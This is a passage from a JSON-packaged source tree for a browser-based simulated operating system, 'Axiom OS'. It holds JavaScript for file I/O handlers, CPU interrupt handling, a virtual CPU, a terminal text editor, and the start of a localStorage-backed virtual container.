    "content": "/**\n * Axiom File System Input Handler\n * Manages file reading and input operations\n */\n\nclass FileSystemInput {\n    constructor() {\n        this.fileDescriptors = new Map();\n        this.nextFD = 3; // 0=stdin, 1=stdout, 2=stderr\n        this.openFiles = new Map();\n        \n        // Standard file descriptors\n        this.STDIN = 0;\n        this.STDOUT = 1;\n        this.STDERR = 2;\n    }\n\n    async initialize() {\n        // Initialize standard file descriptors\n        this.fileDescriptors.set(this.STDIN, {\n            path: '/dev/stdin',\n            mode: 'r',\n            position: 0,\n            buffer: ''\n        });\n        \n        this.fileDescriptors.set(this.STDOUT, {\n            path: '/dev/stdout',\n            mode: 'w',\n            position: 0,\n            buffer: ''\n        });\n        \n        this.fileDescriptors.set(this.STDERR, {\n            path: '/dev/stderr',\n            mode: 'w',\n            position: 0,\n            buffer: ''\n        });\n        \n        return true;\n    }\n\n    open(path, mode = 'r') {\n        // Get file from container\n        const file = window.axiomContainer.getFile(path);\n        \n        if (!file && !mode.includes('w') && !mode.includes('a')) {\n            throw new Error(`File not found: ${path}`);\n        }\n\n        const fd = this.nextFD++;\n        this.fileDescriptors.set(fd, {\n            path,\n            mode,\n            position: 0,\n            buffer: file ? file.content : '',\n            metadata: file ? file.metadata : null\n        });\n\n        this.openFiles.set(path, fd);\n        return fd;\n    }\n\n    close(fd) {\n        const descriptor = this.fileDescriptors.get(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n\n        // Flush buffer if needed\n        if (descriptor.mode.includes('w') || descriptor.mode.includes('a')) {\n            this.flush(fd);\n        }\n\n        this.openFiles.delete(descriptor.path);\n        this.fileDescriptors.delete(fd);\n        return true;\n    }\n\n    read(fd, length = -1) {\n        const descriptor = this.fileDescriptors.get(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n\n        if (!descriptor.mode.includes('r') && descriptor.mode !== 'r+') {\n            throw new Error('File not opened for reading');\n        }\n\n        const content = descriptor.buffer;\n        const start = descriptor.position;\n        \n        let data;\n        if (length === -1) {\n            data = content.substring(start);\n            descriptor.position = content.length;\n        } else {\n            data = content.substring(start, start + length);\n            descriptor.position = Math.min(start + length, content.length);\n        }\n\n        return data;\n    }\n\n    readLine(fd) {\n        const descriptor = this.fileDescriptors.get(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n\n        const content = descriptor.buffer;\n        const start = descriptor.position;\n        const newlineIndex = content.indexOf('\\n', start);\n\n        let line;\n        if (newlineIndex === -1) {\n            line = content.substring(start);\n            descriptor.position = content.length;\n        } else {\n            line = content.substring(start, newlineIndex);\n            descriptor.position = newlineIndex + 1;\n        }\n\n        return line;\n    }\n\n    readLines(fd) {\n        const descriptor = this.fileDescriptors.get(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n\n        const content = descriptor.buffer;\n        return content.split('\\n');\n    }\n\n    seek(fd, position, whence = 'SEEK_SET') {\n        const descriptor = this.fileDescriptors.get(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n\n        const contentLength = descriptor.buffer.length;\n\n        switch (whence) {\n            case 'SEEK_SET':\n                descriptor.position = Math.max(0, Math.min(position, contentLength));\n                break;\n            case 'SEEK_CUR':\n                descriptor.position = Math.max(0, Math.min(descriptor.position + position, contentLength));\n                break;\n            case 'SEEK_END':\n                descriptor.position = Math.max(0, Math.min(contentLength + position, contentLength));\n                break;\n            default:\n                throw new Error(`Invalid whence: ${whence}`);\n        }\n\n        return descriptor.position;\n    }\n\n    tell(fd) {\n        const descriptor = this.fileDescriptors.get(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n        return descriptor.position;\n    }\n\n    flush(fd) {\n        const descriptor = this.fileDescriptors.get(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n\n        if (descriptor.mode.includes('w') || descriptor.mode.includes('a')) {\n            // Write buffer to container\n            window.axiomContainer.writeFile(descriptor.path, descriptor.buffer);\n        }\n\n        return true;\n    }\n\n    isEOF(fd) {\n        const descriptor = this.fileDescriptors.get(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n        return descriptor.position >= descriptor.buffer.length;\n    }\n\n    getDescriptor(fd) {\n        return this.fileDescriptors.get(fd);\n    }\n\n    listOpenFiles() {\n        const files = [];\n        for (const [fd, descriptor] of this.fileDescriptors.entries()) {\n            if (fd >= 3) { // Skip standard descriptors\n                files.push({\n                    fd,\n                    path: descriptor.path,\n                    mode: descriptor.mode,\n                    position: descriptor.position\n                });\n            }\n        }\n        return files;\n    }\n\n    closeAll() {\n        const fds = Array.from(this.fileDescriptors.keys());\n        for (const fd of fds) {\n            if (fd >= 3) { // Don't close standard descriptors\n                try {\n                    this.close(fd);\n                } catch (e) {\n                    console.warn(`Failed to close fd ${fd}:`, e);\n                }\n            }\n        }\n    }\n}\n\n// Export for global access\nwindow.FileSystemInput = FileSystemInput;\n"
  },
  {
    "path": "axiom/application_data/system/kernel/fsio/fs.output.js",
    "content": "/**\n * Axiom File System Output Handler\n * Manages file writing and output operations\n */\n\nclass FileSystemOutput {\n    constructor() {\n        this.writeBuffer = new Map();\n        this.outputStreams = new Map();\n    }\n\n    async initialize() {\n        // Initialize output streams\n        this.outputStreams.set(1, 'stdout'); // Standard output\n        this.outputStreams.set(2, 'stderr'); // Standard error\n        \n        return true;\n    }\n\n    write(fd, data) {\n        const descriptor = window.axiomFS.input.getDescriptor(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n\n        if (!descriptor.mode.includes('w') && !descriptor.mode.includes('a') && descriptor.mode !== 'r+') {\n            throw new Error('File not opened for writing');\n        }\n\n        // Handle different write modes\n        if (descriptor.mode === 'w' || descriptor.mode === 'w+') {\n            // Overwrite mode\n            if (descriptor.position === 0) {\n                descriptor.buffer = data;\n            } else {\n                descriptor.buffer = descriptor.buffer.substring(0, descriptor.position) + data;\n            }\n        } else if (descriptor.mode === 'a' || descriptor.mode === 'a+') {\n            // Append mode\n            descriptor.buffer += data;\n            descriptor.position = descriptor.buffer.length;\n        } else if (descriptor.mode === 'r+') {\n            // Read-write mode\n            const before = descriptor.buffer.substring(0, descriptor.position);\n            const after = descriptor.buffer.substring(descriptor.position + data.length);\n            descriptor.buffer = before + data + after;\n        }\n\n        descriptor.position += data.length;\n        return data.length;\n    }\n\n    writeLine(fd, data) {\n        return this.write(fd, data + '\\n');\n    }\n\n    writeLines(fd, lines) {\n        let totalWritten = 0;\n        for (const line of lines) {\n            totalWritten += this.writeLine(fd, line);\n        }\n        return totalWritten;\n    }\n\n    flush(fd) {\n        return window.axiomFS.input.flush(fd);\n    }\n\n    truncate(fd, length = 0) {\n        const descriptor = window.axiomFS.input.getDescriptor(fd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${fd}`);\n        }\n\n        if (!descriptor.mode.includes('w') && descriptor.mode !== 'r+') {\n            throw new Error('File not opened for writing');\n        }\n\n        if (length === 0) {\n            descriptor.buffer = '';\n            descriptor.position = 0;\n        } else if (length < descriptor.buffer.length) {\n            descriptor.buffer = descriptor.buffer.substring(0, length);\n            descriptor.position = Math.min(descriptor.position, length);\n        } else {\n            // Pad with null bytes if needed\n            const padding = '\\0'.repeat(length - descriptor.buffer.length);\n            descriptor.buffer += padding;\n        }\n\n        return true;\n    }\n\n    // Stream redirection support\n    redirectOutput(sourceFd, targetPath) {\n        const descriptor = window.axiomFS.input.getDescriptor(sourceFd);\n        if (!descriptor) {\n            throw new Error(`Invalid file descriptor: ${sourceFd}`);\n        }\n\n        // Open target file for writing\n        const targetFd = window.axiomFS.input.open(targetPath, 'w');\n        \n        // Copy data to target\n        const data = descriptor.buffer;\n        this.write(targetFd, data);\n        this.flush(targetFd);\n        \n        // Close target\n        window.axiomFS.input.close(targetFd);\n        \n        return true;\n    }\n\n    // Pipe support\n    pipe(sourceFd, targetFd) {\n        const sourceDescriptor = window.axiomFS.input.getDescriptor(sourceFd);\n        if (!sourceDescriptor) {\n            throw new Error(`Invalid source file descriptor: ${sourceFd}`);\n        }\n\n        const targetDescriptor = window.axiomFS.input.getDescriptor(targetFd);\n        if (!targetDescriptor) {\n            throw new Error(`Invalid target file descriptor: ${targetFd}`);\n        }\n\n        const data = sourceDescriptor.buffer;\n        this.write(targetFd, data);\n        \n        return data.length;\n    }\n\n    // Buffered I/O\n    setBuffer(fd, bufferSize) {\n        if (!this.writeBuffer.has(fd)) {\n            this.writeBuffer.set(fd, {\n                size: bufferSize,\n                data: '',\n                autoFlush: false\n            });\n        } else {\n            this.writeBuffer.get(fd).size = bufferSize;\n        }\n    }\n\n    bufferedWrite(fd, data) {\n        if (!this.writeBuffer.has(fd)) {\n            // No buffer, write directly\n            return this.write(fd, data);\n        }\n\n        const buffer = this.writeBuffer.get(fd);\n        buffer.data += data;\n\n        // Auto-flush if buffer is full\n        if (buffer.data.length >= buffer.size) {\n            const written = this.write(fd, buffer.data);\n            buffer.data = '';\n            this.flush(fd);\n            return written;\n        }\n\n        return data.length;\n    }\n\n    flushBuffer(fd) {\n        if (!this.writeBuffer.has(fd)) {\n            return 0;\n        }\n\n        const buffer = this.writeBuffer.get(fd);\n        if (buffer.data.length === 0) {\n            return 0;\n        }\n\n        const written = this.write(fd, buffer.data);\n        buffer.data = '';\n        this.flush(fd);\n        \n        return written;\n    }\n\n    clearBuffer(fd) {\n        if (this.writeBuffer.has(fd)) {\n            this.writeBuffer.get(fd).data = '';\n        }\n    }\n\n    // Stream operations\n    writeToStdout(data) {\n        if (window.axiomTerminal) {\n            window.axiomTerminal.print(data);\n        }\n    }\n\n    writeToStderr(data) {\n        if (window.axiomTerminal) {\n            window.axiomTerminal.printLine(data, 'output-error');\n        }\n    }\n}\n\n// Export for global access\nwindow.FileSystemOutput = FileSystemOutput;\n"
  },
  {
    "path": "axiom/application_data/system/kernel/virtualcpu.interruptions.js",
    "content": "/**\n * Axiom CPU Interrupt Handler\n * Manages hardware and software interrupts\n */\n\nclass InterruptHandler {\n    constructor() {\n        this.handlers = new Map();\n        this.interruptVector = [];\n        this.pendingInterrupts = [];\n        \n        // Standard interrupt numbers\n        this.INT_DIVIDE_BY_ZERO = 0x00;\n        this.INT_DEBUG = 0x01;\n        this.INT_NMI = 0x02;\n        this.INT_BREAKPOINT = 0x03;\n        this.INT_OVERFLOW = 0x04;\n        this.INT_BOUNDS = 0x05;\n        this.INT_INVALID_OPCODE = 0x06;\n        this.INT_DEVICE_NOT_AVAILABLE = 0x07;\n        this.INT_DOUBLE_FAULT = 0x08;\n        this.INT_INVALID_TSS = 0x0A;\n        this.INT_SEGMENT_NOT_PRESENT = 0x0B;\n        this.INT_STACK_FAULT = 0x0C;\n        this.INT_GENERAL_PROTECTION = 0x0D;\n        this.INT_PAGE_FAULT = 0x0E;\n        this.INT_FPU_ERROR = 0x10;\n        this.INT_ALIGNMENT_CHECK = 0x11;\n        this.INT_MACHINE_CHECK = 0x12;\n        this.INT_SIMD_EXCEPTION = 0x13;\n        \n        // Software interrupts\n        this.INT_SYSCALL = 0x80;\n        this.INT_TIMER = 0x20;\n        this.INT_KEYBOARD = 0x21;\n        this.INT_STORAGE = 0x22;\n    }\n\n    async initialize() {\n        // Register default handlers\n        this.registerHandler(this.INT_DIVIDE_BY_ZERO, this.handleDivideByZero.bind(this));\n        this.registerHandler(this.INT_INVALID_OPCODE, this.handleInvalidOpcode.bind(this));\n        this.registerHandler(this.INT_GENERAL_PROTECTION, this.handleGeneralProtection.bind(this));\n        this.registerHandler(this.INT_PAGE_FAULT, this.handlePageFault.bind(this));\n        this.registerHandler(this.INT_SYSCALL, this.handleSyscall.bind(this));\n        this.registerHandler(this.INT_TIMER, this.handleTimer.bind(this));\n        this.registerHandler(this.INT_KEYBOARD, this.handleKeyboard.bind(this));\n        this.registerHandler(this.INT_STORAGE, this.handleStorage.bind(this));\n        \n        return true;\n    }\n\n    registerHandler(interruptNumber, handler) {\n        if (typeof handler !== 'function') {\n            throw new Error('Handler must be a function');\n        }\n        this.handlers.set(interruptNumber, handler);\n    }\n\n    unregisterHandler(interruptNumber) {\n        this.handlers.delete(interruptNumber);\n    }\n\n    async handleInterrupt(interruptNumber, data = null) {\n        const handler = this.handlers.get(interruptNumber);\n        \n        if (!handler) {\n            console.warn(`No handler for interrupt 0x${interruptNumber.toString(16)}`);\n            return { success: false, error: 'No handler registered' };\n        }\n\n        try {\n            const result = await handler(data);\n            return { success: true, result };\n        } catch (error) {\n            console.error(`Interrupt handler error (0x${interruptNumber.toString(16)}):`, error);\n            return { success: false, error: error.message };\n        }\n    }\n\n    // Default interrupt handlers\n    async handleDivideByZero(data) {\n        console.error('EXCEPTION: Divide by zero');\n        if (window.axiomTerminal) {\n            window.axiomTerminal.printLine('EXCEPTION: Division by zero error', 'output-error');\n        }\n        return { exception: true, type: 'DIVIDE_BY_ZERO' };\n    }\n\n    async handleInvalidOpcode(data) {\n        console.error('EXCEPTION: Invalid opcode');\n        if (window.axiomTerminal) {\n            window.axiomTerminal.printLine(`EXCEPTION: Invalid opcode at ${data?.address || 'unknown'}`, 'output-error');\n        }\n        return { exception: true, type: 'INVALID_OPCODE' };\n    }\n\n    async handleGeneralProtection(data) {\n        console.error('EXCEPTION: General protection fault');\n        if (window.axiomTerminal) {\n            window.axiomTerminal.printLine('EXCEPTION: General protection fault', 'output-error');\n        }\n        return { exception: true, type: 'GENERAL_PROTECTION' };\n    }\n\n    async handlePageFault(data) {\n        console.error('EXCEPTION: Page fault');\n        if (window.axiomTerminal) {\n            window.axiomTerminal.printLine(`EXCEPTION: Page fault at ${data?.address || 'unknown'}`, 'output-error');\n        }\n        return { exception: true, type: 'PAGE_FAULT' };\n    }\n\n    async handleSyscall(data) {\n        // System call handler\n        if (window.axiomVM && data?.syscall) {\n            return await window.axiomVM.executeSyscall(data.syscall, data.args);\n        }\n        return { success: false, error: 'Invalid syscall' };\n    }\n\n    async handleTimer(data) {\n        // Timer interrupt handler\n        // Used for scheduling and time-based operations\n        return { success: true };\n    }\n\n    async handleKeyboard(data) {\n        // Keyboard interrupt handler\n        if (data?.key) {\n            // Process keyboard input\n            return { success: true, key: data.key };\n        }\n        return { success: false };\n    }\n\n    async handleStorage(data) {\n        // Storage I/O interrupt handler\n        if (data?.operation) {\n            // Handle storage operations\n            return { success: true, operation: data.operation };\n        }\n        return { success: false };\n    }\n\n    queueInterrupt(interruptNumber, data = null) {\n        this.pendingInterrupts.push({\n            number: interruptNumber,\n            data,\n            timestamp: Date.now()\n        });\n    }\n\n    async processQueue() {\n        while (this.pendingInterrupts.length > 0) {\n            const interrupt = this.pendingInterrupts.shift();\n            await this.handleInterrupt(interrupt.number, interrupt.data);\n        }\n    }\n\n    clearQueue() {\n        this.pendingInterrupts = [];\n    }\n\n    getQueueLength() {\n        return this.pendingInterrupts.length;\n    }\n}\n\n// Export for global access\nwindow.InterruptHandler = InterruptHandler;\n"
  },
  {
    "path": "axiom/application_data/system/kernel/virtualcpu.js",
    "content": "/**\n * Axiom Virtual CPU - DosX Processor A10\n * 2 Cores, 2 Threads per core\n */\n\nclass VirtualCPU {\n    constructor() {\n        this.cpuInfo = {\n            name: 'DosX Processor A10',\n            vendor: 'Axiom Corporation',\n            cores: 2,\n            threads: 2,\n            clockSpeed: 2400, // MHz (simulated)\n            architecture: 'x64',\n            features: ['SSE', 'SSE2', 'AVX', 'AES-NI', 'VT-x']\n        };\n\n        // Registers (per thread)\n        this.registers = this.initializeRegisters();\n        \n        // Execution state\n        this.state = {\n            running: false,\n            halted: false,\n            interruptsEnabled: true,\n            currentThread: 0,\n            cycleCount: 0,\n            instructionPointer: 0\n        };\n\n        // Performance counters\n        this.counters = {\n            instructionsExecuted: 0,\n            cyclesElapsed: 0,\n            cacheHits: 0,\n            cacheMisses: 0\n        };\n\n        // Interrupt queue\n        this.interruptQueue = [];\n        \n        // Worker threads for simulation\n        this.workers = [];\n    }\n\n    async initialize() {\n        // Initialize CPU threads\n        for (let i = 0; i < this.cpuInfo.threads; i++) {\n            this.workers[i] = {\n                id: i,\n                busy: false,\n                taskQueue: [],\n                registers: this.initializeRegisters()\n            };\n        }\n\n        this.state.running = true;\n        return true;\n    }\n\n    initializeRegisters() {\n        return {\n            // General purpose registers\n            rax: 0, rbx: 0, rcx: 0, rdx: 0,\n            rsi: 0, rdi: 0, rbp: 0, rsp: 0,\n            r8: 0, r9: 0, r10: 0, r11: 0,\n            r12: 0, r13: 0, r14: 0, r15: 0,\n            \n            // Special registers\n            rip: 0,     // Instruction pointer\n            rflags: 0,  // Flags register\n            \n            // Segment registers\n            cs: 0, ds: 0, ss: 0, es: 0, fs: 0, gs: 0\n        };\n    }\n\n    getCPUInfo() {\n        return { ...this.cpuInfo };\n    }\n\n    getState() {\n        return { ...this.state };\n    }\n\n    getCounters() {\n        return { ...this.counters };\n    }\n\n    // Execute instruction\n    async execute(instruction) {\n        if (!this.state.running || this.state.halted) {\n            return { success: false, error: 'CPU halted' };\n        }\n\n        // Find available worker\n        const worker = this.findAvailableWorker();\n        if (!worker) {\n            return { success: false, error: 'No available CPU threads' };\n        }\n\n        worker.busy = true;\n        \n        try {\n            // Simulate instruction execution\n            const result = await this.processInstruction(instruction, worker);\n            \n            this.counters.instructionsExecuted++;\n            this.counters.cyclesElapsed += result.cycles || 1;\n            \n            worker.busy = false;\n            return { success: true, result };\n        } catch (error) {\n            worker.busy = false;\n            return { success: false, error: error.message };\n        }\n    }\n\n    async processInstruction(instruction, worker) {\n        // Simulate CPU cycle delay\n        await this.simulateCycle(1);\n\n        // Process instruction based on type\n        switch (instruction.type) {\n            case 'MOV':\n                return this.execMOV(instruction, worker);\n            case 'ADD':\n                return this.execADD(instruction, worker);\n            case 'SUB':\n                return this.execSUB(instruction, worker);\n            case 'MUL':\n                return this.execMUL(instruction, worker);\n            case 'DIV':\n                return this.execDIV(instruction, worker);\n            case 'JMP':\n                return this.execJMP(instruction, worker);\n            case 'CMP':\n                return this.execCMP(instruction, worker);\n            case 'NOP':\n                return { cycles: 1 };\n            default:\n                throw new Error(`Unknown instruction: ${instruction.type}`);\n        }\n    }\n\n    findAvailableWorker() {\n        return this.workers.find(w => !w.busy) || null;\n    }\n\n    async simulateCycle(cycles) {\n        // Simulate CPU cycles with minimal delay\n        const delay = cycles * (1000 / this.cpuInfo.clockSpeed);\n        if (delay > 0.001) {\n            await new Promise(resolve => setTimeout(resolve, delay));\n        }\n    }\n\n    // Instruction implementations\n    execMOV(instruction, worker) {\n        const { dest, src } = instruction.operands;\n        worker.registers[dest] = src;\n        return { cycles: 1, result: src };\n    }\n\n    execADD(instruction, worker) {\n        const { dest, src } = instruction.operands;\n        const result = worker.registers[dest] + src;\n        worker.registers[dest] = result;\n        this.updateFlags(worker, result);\n        return { cycles: 1, result };\n    }\n\n    execSUB(instruction, worker) {\n        const { dest, src } = instruction.operands;\n        const result = worker.registers[dest] - src;\n        worker.registers[dest] = result;\n        this.updateFlags(worker, result);\n        return { cycles: 1, result };\n    }\n\n    execMUL(instruction, worker) {\n        const { dest, src } = instruction.operands;\n        const result = worker.registers[dest] * src;\n        worker.registers[dest] = result;\n        this.updateFlags(worker, result);\n        return { cycles: 3, result };\n    }\n\n    execDIV(instruction, worker) {\n        const { dest, src } = instruction.operands;\n        if (src === 0) {\n            throw new Error('Division by zero');\n        }\n        const result = Math.floor(worker.registers[dest] / src);\n        worker.registers[dest] = result;\n        this.updateFlags(worker, result);\n        return { cycles: 4, result };\n    }\n\n    execJMP(instruction, worker) {\n        const { target } = instruction.operands;\n        worker.registers.rip = target;\n        return { cycles: 2, result: target };\n    }\n\n    execCMP(instruction, worker) {\n        const { op1, op2 } = instruction.operands;\n        const result = op1 - op2;\n        this.updateFlags(worker, result);\n        return { cycles: 1, result: 0 };\n    }\n\n    updateFlags(worker, result) {\n        // Update flags register\n        let flags = worker.registers.rflags;\n        \n        // Zero flag\n        flags = result === 0 ? flags | 0x40 : flags & ~0x40;\n        \n        // Sign flag\n        flags = result < 0 ? flags | 0x80 : flags & ~0x80;\n        \n        worker.registers.rflags = flags;\n    }\n\n    raiseInterrupt(interruptNumber, data = null) {\n        if (this.state.interruptsEnabled) {\n            this.interruptQueue.push({ number: interruptNumber, data, timestamp: Date.now() });\n            \n            // Notify interrupt handler\n            if (typeof window.axiomInterrupts !== 'undefined') {\n                window.axiomInterrupts.handleInterrupt(interruptNumber, data);\n            }\n        }\n    }\n\n    halt() {\n        this.state.halted = true;\n        this.state.running = false;\n    }\n\n    reset() {\n        this.state = {\n            running: true,\n            halted: false,\n            interruptsEnabled: true,\n            currentThread: 0,\n            cycleCount: 0,\n            instructionPointer: 0\n        };\n\n        this.counters = {\n            instructionsExecuted: 0,\n            cyclesElapsed: 0,\n            cacheHits: 0,\n            cacheMisses: 0\n        };\n\n        this.interruptQueue = [];\n        \n        for (let worker of this.workers) {\n            worker.busy = false;\n            worker.taskQueue = [];\n            worker.registers = this.initializeRegisters();\n        }\n    }\n}\n\n// Export for global access\nwindow.VirtualCPU = VirtualCPU;\n"
  },
  {
    "path": "axiom/application_data/system/uiapps/core.ui-notepad.js",
    "content": "/**\n * UI-Notepad - Axiom OS Text Editor\n * Full-featured modal text editor with line numbers and keyboard shortcuts\n * \n * Features:\n * - Line numbers with synchronized scrolling\n * - Ctrl shortcuts (Latin + Cyrillic support)\n * - Cut/paste clipboard\n * - Search functionality\n * - Modification tracking\n * - Auto-save to VMContainer\n */\n\nclass UINotepad {\n    constructor(terminal) {\n        this.terminal = terminal;\n        this.editorMode = false;\n        this.clipboard = '';\n        this.modified = false;\n    }\n\n    /**\n     * Open file in editor\n     * @param {string} filename - Path to file\n     */\n    async open(filename) {\n        let content = '';\n        let fileExists = false;\n\n        // Try to read existing file\n        try {\n            if (window.axiomContainer.exists(filename)) {\n                content = window.axiomContainer.readFile(filename);\n                fileExists = true;\n            }\n        } catch (e) {\n            // New file\n        }\n\n        this.enterEditorMode(filename, content, fileExists);\n    }\n\n    /**\n     * Enter modal editor mode\n     */\n    enterEditorMode(filename, content, fileExists) {\n        this.editorMode = true;\n        this.modified = false;\n        \n        // Sync with terminal\n        this.terminal.editorMode = true;\n        \n        // Remove all cursor blink animations to fix duplication bug\n        const styles = document.querySelectorAll('style');\n        styles.forEach(style => {\n            if (style.textContent.includes('@keyframes blink') || style.textContent.includes('cursor-blink')) {\n                style.remove();\n            }\n        });\n        \n        // Remove any existing input elements\n        const oldInput = document.getElementById('terminal-input');\n        if (oldInput) {\n            oldInput.remove();\n        }\n        \n        // Hide terminal\n        const terminalContainer = document.getElementById('terminal-container');\n        terminalContainer.style.display = 'none';\n        \n        // Create editor\n        const editor = document.createElement('div');\n        editor.id = 'axiom-editor';\n        editor.className = 'axiom-editor';\n        \n        const statusText = fileExists ? '' : ' [New File]';\n        \n        editor.innerHTML = `\n            <div class=\"editor-header\">\n                <span class=\"editor-filename\">File: ${filename}${statusText}</span>\n                <span class=\"editor-info\">Modified</span>\n            </div>\n            <div class=\"editor-body\">\n                <div class=\"editor-line-numbers\" id=\"editor-line-numbers\"></div>\n                <textarea class=\"editor-content\" id=\"editor-textarea\" spellcheck=\"false\">${content}</textarea>\n            </div>\n            <div class=\"editor-footer\">\n                <div class=\"editor-shortcuts\">\n                    <span>^S Save</span>\n                    <span>^X Exit</span>\n                    <span>^K Cut Line</span>\n                    <span>^U Paste</span>\n                    <span>^W Search</span>\n                </div>\n                <div class=\"editor-status\" id=\"editor-status\">Line 1, Col 1</div>\n            </div>\n        `;\n        \n        document.body.appendChild(editor);\n        \n        const textarea = document.getElementById('editor-textarea');\n        const lineNumbers = document.getElementById('editor-line-numbers');\n        const statusBar = document.getElementById('editor-status');\n        const infoBar = editor.querySelector('.editor-info');\n        \n        // Update line numbers\n        const updateLineNumbers = () => {\n            const lines = textarea.value.split('\\n').length;\n            const numbers = [];\n            for (let i = 1; i <= lines; i++) {\n                numbers.push(`<div class=\"line-number\">${i}</div>`);\n            }\n            lineNumbers.innerHTML = numbers.join('');\n        };\n        \n        // Update cursor position\n        const updateStatus = () => {\n            const pos = textarea.selectionStart;\n            const textBefore = textarea.value.substring(0, pos);\n            const line = textBefore.split('\\n').length;\n            const col = textBefore.split('\\n').pop().length + 1;\n            statusBar.textContent = `Line ${line}, Col ${col}`;\n        };\n        \n        // Mark as modified\n        const markModified = () => {\n            if (!this.modified) {\n                this.modified = true;\n                infoBar.textContent = 'Modified';\n                infoBar.style.color = '#ffb86c';\n            }\n        };\n        \n        // Sync scroll\n        textarea.addEventListener('scroll', () => {\n            lineNumbers.scrollTop = textarea.scrollTop;\n        });\n        \n        // Update on input\n        textarea.addEventListener('input', () => {\n            updateLineNumbers();\n            updateStatus();\n            markModified();\n        });\n        \n        textarea.addEventListener('click', updateStatus);\n        textarea.addEventListener('keyup', updateStatus);\n        \n        // Keyboard shortcuts\n        textarea.addEventListener('keydown', (e) => {\n            // Ctrl+S - Save (support Cyrillic 'ы')\n            if (e.ctrlKey && (e.key === 's' || e.key === 'ы')) {\n                e.preventDefault();\n                try {\n                    window.axiomContainer.writeFile(filename, textarea.value);\n                    this.modified = false;\n                    infoBar.textContent = 'Saved';\n                    infoBar.style.color = '#50fa7b';\n                    setTimeout(() => {\n                        infoBar.textContent = '';\n                    }, 2000);\n                } catch (err) {\n                    infoBar.textContent = `Error: ${err.message}`;\n                    infoBar.style.color = '#ff5555';\n                }\n                return;\n            }\n            \n            // Ctrl+X - Exit (support Cyrillic 'ч')\n            if (e.ctrlKey && (e.key === 'x' || e.key === 'ч')) {\n                e.preventDefault();\n                if (this.modified) {\n                    const save = confirm(`Save modified buffer (y/n)?`);\n                    if (save) {\n                        try {\n                            window.axiomContainer.writeFile(filename, textarea.value);\n                        } catch (err) {\n                            alert(`Error saving: ${err.message}`);\n                            return;\n                        }\n                    }\n                }\n                this.exitEditorMode(editor);\n                return;\n            }\n            \n            // Ctrl+K - Cut line (support Cyrillic 'л')\n            if (e.ctrlKey && (e.key === 'k' || e.key === 'л')) {\n                e.preventDefault();\n                const start = textarea.selectionStart;\n                const value = textarea.value;\n                const lineStart = value.lastIndexOf('\\n', start - 1) + 1;\n                const lineEnd = value.indexOf('\\n', start);\n                const end = lineEnd === -1 ? value.length : lineEnd + 1;\n                \n                this.clipboard = value.substring(lineStart, end);\n                textarea.value = value.substring(0, lineStart) + value.substring(end);\n                textarea.selectionStart = textarea.selectionEnd = lineStart;\n                \n                updateLineNumbers();\n                updateStatus();\n                markModified();\n                return;\n            }\n            \n            // Ctrl+U - Paste (support Cyrillic 'г')\n            if (e.ctrlKey && (e.key === 'u' || e.key === 'г')) {\n                e.preventDefault();\n                if (this.clipboard) {\n                    const start = textarea.selectionStart;\n                    const value = textarea.value;\n                    textarea.value = value.substring(0, start) + this.clipboard + value.substring(start);\n                    textarea.selectionStart = textarea.selectionEnd = start + this.clipboard.length;\n                    \n                    updateLineNumbers();\n                    updateStatus();\n                    markModified();\n                }\n                return;\n            }\n            \n            // Ctrl+W - Search (support Cyrillic 'ц')\n            if (e.ctrlKey && (e.key === 'w' || e.key === 'ц')) {\n                e.preventDefault();\n                const search = prompt('Search:');\n                if (search) {\n                    const pos = textarea.value.indexOf(search, textarea.selectionStart);\n                    if (pos !== -1) {\n                        textarea.selectionStart = pos;\n                        textarea.selectionEnd = pos + search.length;\n                        textarea.focus();\n                        updateStatus();\n                    } else {\n                        alert('Not found');\n                    }\n                }\n                return;\n            }\n            \n            // Tab - Insert 4 spaces\n            if (e.key === 'Tab') {\n                e.preventDefault();\n                const start = textarea.selectionStart;\n                const value = textarea.value;\n                textarea.value = value.substring(0, start) + '    ' + value.substring(start);\n                textarea.selectionStart = textarea.selectionEnd = start + 4;\n                markModified();\n                return;\n            }\n        });\n        \n        // Initial setup\n        updateLineNumbers();\n        updateStatus();\n        textarea.focus();\n    }\n\n    /**\n     * Exit editor mode and return to terminal\n     */\n    exitEditorMode(editor) {\n        this.editorMode = false;\n        \n        // Sync with terminal\n        this.terminal.editorMode = false;\n        \n        editor.remove();\n        \n        // Show terminal\n        const terminalContainer = document.getElementById('terminal-container');\n        terminalContainer.style.display = 'flex';\n        \n        // Clear any remaining cursor styles\n        const styles = document.querySelectorAll('style');\n        styles.forEach(style => {\n            if (style.textContent.includes('@keyframes blink') || style.textContent.includes('cursor-blink')) {\n                style.remove();\n            }\n        });\n        \n        // Recreate input line and restore cursor blink\n        this.terminal.createInputLine();\n    }\n\n    /**\n     * Check if editor is currently active\n     */\n    isActive() {\n        return this.editorMode;\n    }\n}\n\n// Export for global access\nwindow.UINotepad = UINotepad;\n"
  },
  {
    "path": "axiom/application_data/system/vm/container.js",
    "content": "/**\n * Axiom Virtual Container\n * Manages virtual file system and storage\n */\n\nclass VMContainer {\n    constructor() {\n        this.fileSystem = new Map();\n        this.currentDirectory = '/root';\n        this.rootDirectory = '/';\n        this.storageKey = 'axiom_fs';\n        this.compression = null;\n    }\n\n    async initialize() {\n        // Initialize compression module\n        if (typeof FSCompression !== 'undefined') {\n            this.compression = new FSCompression();\n        }\n        \n        // Load file system from localStorage\n        this.loadFromStorage();\n        \n        // Initialize default directory structure if empty\n        if (this.fileSystem.size === 0) {\n            this.initializeDefaultFS();\n        }\n        \n        return true;\n    }\n\n    initializeDefaultFS() {\n        // Create default directory structure\n        const directories = [\n            '/',\n            '/root',\n            '/home',\n            '/bin',\n            '/etc',\n            '/var',\n            '/tmp',\n            '/usr',\n            '/usr/bin',\n            '/usr/local',\n            '/dev'\n        ];\n\n        for (const dir of directories) {\n            